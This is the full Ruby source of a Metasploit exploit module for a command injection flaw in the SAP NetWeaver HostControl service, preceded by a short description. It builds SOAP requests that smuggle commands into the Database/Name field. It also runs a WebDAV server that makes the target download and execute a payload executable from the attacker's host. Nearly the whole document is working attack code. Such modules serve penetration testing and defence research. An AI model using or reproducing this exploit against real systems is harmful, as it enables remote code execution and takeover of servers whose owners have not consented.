This Metasploit module exploits a command injection vulnerability in the SAPHostControl Service, by sending a specially crafted SOAP request to the management console. In order to deal with the spaces and length limitations, a WebDAV service is created to run an arbitrary payload when accessed as a UNC path. Because of this, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.
4e670b1726c47184e28c99e0f1609238c9d24b4114df6fa4e834cfd4001f7777##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'SAP NetWeaver HostControl Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the SAPHostControl
Service, by sending a specially crafted SOAP request to the management console.
In order to deal with the spaces and length limitations, a WebDAV service is
created to run an arbitrary payload when accessed as a UNC path. Because of this,
the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
It is enabled and automatically started by default on Windows XP SP3, but disabled
by default on Windows 2003 SP2.
},
'Author' => [
'Michael Jordon', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'OSVDB', '84821'],
[ 'URL', 'http://www.contextis.com/research/blog/sap4/' ],
[ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required
],
'Targets' =>
[
[ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ],
],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => 'Aug 14 2012'
)
register_options(
[
Opt::RPORT(1128),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
], self.class)
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
process_get(cli, request)
else
vprint_status("#{request.method} => 404 (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end
def process_get(cli, request)
if blacklisted_path?(request.uri)
vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if (request.uri.include? @basename)
print_status("GET => Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = generate_payload_exe({ :code => p.encoded })
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
# Treat index.html specially
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
vprint_status("GET => REDIRECT (#{request.uri})")
resp = create_response(200, "OK")
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
# Anything else is probably a request for a data file...
vprint_status("GET => DATA (#{request.uri})")
data = "HELLO!"
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
end
#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
vprint_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}
resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
vprint_status("PROPFIND #{path}")
if path !~ /\/$/
if blacklisted_path?(path)
vprint_status "PROPFIND => 404 (#{path})"
resp = create_response(404, "Not Found")
resp.body = ""
cli.send_response(resp)
return
end
if path.index(".")
vprint_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
vprint_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end
vprint_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
vprint_status "PROPFIND => 207 Top-Level Directory"
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
def generate_shares(path)
share_name = @share_name
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end
def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2
base = @basename
exts = @extensions.gsub(",", " ").split(/\s+/)
files = ""
exts.each do |ext|
files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
end
files
end
def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end
def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end
# This method rejects requests that are known to break exploitation
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.exe"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
end
def check
@peer = "#{rhost}:#{rport}"
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
<enableSession>true</enableSession>
</sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
<aArguments>
<item>
<mKey>Database/Type</mKey>
<mValue>ada</mValue>
</item>
<item>
<mKey>Database/Password</mKey>
<mValue>#{rand_text_alphanumeric(8)}</mValue>
</item>
<item>
<mKey>Database/Username</mKey>
<mValue>control</mValue>
</item>
<item>
<mKey>Database/Name</mKey>
<mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
!#{rand_text_alpha_lower(8)}
</mValue>
</item>
</aArguments>
</ns1:GetDatabaseStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
eos
print_status("#{@peer} - Testing command injection...")
res = send_request_cgi({
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"\"",
},
'data' => soap,
}, 10)
if (res and res.code == 500 and res.body =~ /Generic error/)
return CheckCode::Appears
else
return CheckCode::Safe
end
end
def exploit
@basename = rand_text_alpha(3)
@share_name = rand_text_alpha(3)
@extensions = "exe"
@system_commands_file = rand_text_alpha_lower(4)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
@exploit_unc = "\\\\#{myhost}\\"
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
@peer = "#{rhost}:#{rport}"
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
<enableSession>true</enableSession>
</sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
<aArguments>
<item>
<mKey>Database/Type</mKey>
<mValue>ada</mValue>
</item>
<item>
<mKey>Database/Password</mKey>
<mValue>#{rand_text_alphanumeric(8)}</mValue>
</item>
<item>
<mKey>Database/Username</mKey>
<mValue>control</mValue>
</item>
<item>
<mKey>Database/Name</mKey>
<mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)}
!#{@exploit_unc}#{@share_name}\\#{@basename}.exe
</mValue>
</item>
</aArguments>
</ns1:GetDatabaseStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
eos
print_status("#{@peer} - Injecting system commands...")
res = send_request_cgi({
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"\"",
},
'data' => soap,
}, 10)
if (res and res.code == 500 and res.body =~ /Generic error/)
print_good("#{@peer} - System command successfully injected")
else
print_error("#{@peer} - Failed to inject system command")
return
end
soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header>
<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
<enableSession>true</enableSession>
</sapsess:Session>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
<aArguments>
<item>
<mKey>Database/Type</mKey>
<mValue>ada</mValue>
</item>
<item>
<mKey>Database/Password</mKey>
<mValue>#{rand_text_alphanumeric(8)}</mValue>
</item>
<item>
<mKey>Database/Username</mKey>
<mValue>control</mValue>
</item>
<item>
<mKey>Database/Name</mKey>
<mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue>
</item>
</aArguments>
</ns1:GetDatabaseStatus>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
eos
print_status("#{@peer} - Executing injected command")
res = send_request_cgi({
'uri' => '/',
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' => {
'SOAPAction' => "\"\"",
},
'data' => soap,
}, 1)
if res
print_error("#{@peer} - Failed to execute injected command")
return
end
super
end
end
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